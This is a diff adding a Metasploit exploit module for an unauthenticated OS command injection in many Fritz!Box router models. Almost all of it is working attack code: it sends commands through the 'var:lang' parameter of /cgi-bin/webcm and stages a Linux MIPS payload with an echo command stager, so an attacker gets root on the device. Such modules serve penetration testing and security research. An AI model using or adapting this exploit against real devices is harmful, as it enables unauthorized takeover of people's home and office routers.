|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStagerEcho |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Fritz!Box Webcm Unauthenticated Command Injection', |
| 17 | + 'Description' => %q{ |
| 18 | + Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection. |
| 19 | + This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the |
| 20 | + following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270, |
| 21 | + 7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE, |
| 22 | + 6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270 |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'unknown', # Vulnerability discovery |
| 27 | + 'Fabian Braeunlein <[email protected]>', #Metasploit PoC with wget method |
| 28 | + 'Michael Messner <[email protected]>' # Metasploit module |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'OSVDB', '103289' ], |
| 34 | + [ 'BID', '65520' ], |
| 35 | + [ 'URL', 'http://www.kapple.de/?p=75' ], #vulnerability details with PoC |
| 36 | + [ 'URL', 'https://www.speckmarschall.de/hoere.htm' ], #probably the first published details (now censored) |
| 37 | + [ 'URL', 'http://pastebin.com/GnMKGmZ2' ], #published details uncensored from speckmarschall |
| 38 | + [ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], #vendor site with a list of vulnerable devices |
| 39 | + [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] #wirteup with PoC |
| 40 | + ], |
| 41 | + 'DisclosureDate' => 'Feb 11 2014', |
| 42 | + 'Privileged' => true, |
| 43 | + 'Platform' => 'linux', |
| 44 | + 'Arch' => ARCH_MIPSLE, |
| 45 | + 'Payload' => |
| 46 | + { |
| 47 | + 'DisableNops' => true |
| 48 | + }, |
| 49 | + 'Targets' => |
| 50 | + [ |
| 51 | + [ 'Automatic Targeting', { } ], |
| 52 | + ], |
| 53 | + 'DefaultTarget' => 0 |
| 54 | + )) |
| 55 | + end |
| 56 | + |
| 57 | + def check |
| 58 | + begin |
| 59 | + res = send_request_cgi({ |
| 60 | + 'uri' => '/cgi-bin/webcm', |
| 61 | + 'method' => 'GET' |
| 62 | + }) |
| 63 | + |
| 64 | + if res && [200, 301, 302].include?(res.code) |
| 65 | + return Exploit::CheckCode::Detected |
| 66 | + end |
| 67 | + rescue ::Rex::ConnectionError |
| 68 | + return Exploit::CheckCode::Unknown |
| 69 | + end |
| 70 | + |
| 71 | + Exploit::CheckCode::Unknown |
| 72 | + end |
| 73 | + |
| 74 | + def execute_command(cmd, opts) |
| 75 | + begin |
| 76 | + res = send_request_cgi({ |
| 77 | + 'uri' => '/cgi-bin/webcm', |
| 78 | + 'method' => 'GET', |
| 79 | + 'vars_get' => { |
| 80 | + "var:lang" => "&#{cmd}", |
| 81 | + } |
| 82 | + }) |
| 83 | + return res |
| 84 | + rescue ::Rex::ConnectionError |
| 85 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 86 | + end |
| 87 | + end |
| 88 | + |
| 89 | + def exploit |
| 90 | + print_status("#{peer} - Trying to access the vulnerable URL...") |
| 91 | + |
| 92 | + unless check == Exploit::CheckCode::Detected |
| 93 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") |
| 94 | + end |
| 95 | + |
| 96 | + print_status("#{peer} - Exploiting...") |
| 97 | + |
| 98 | + execute_cmdstager( |
| 99 | + :linemax => 90 |
| 100 | + ) |
| 101 | + end |
| 102 | +end |
0 commit comments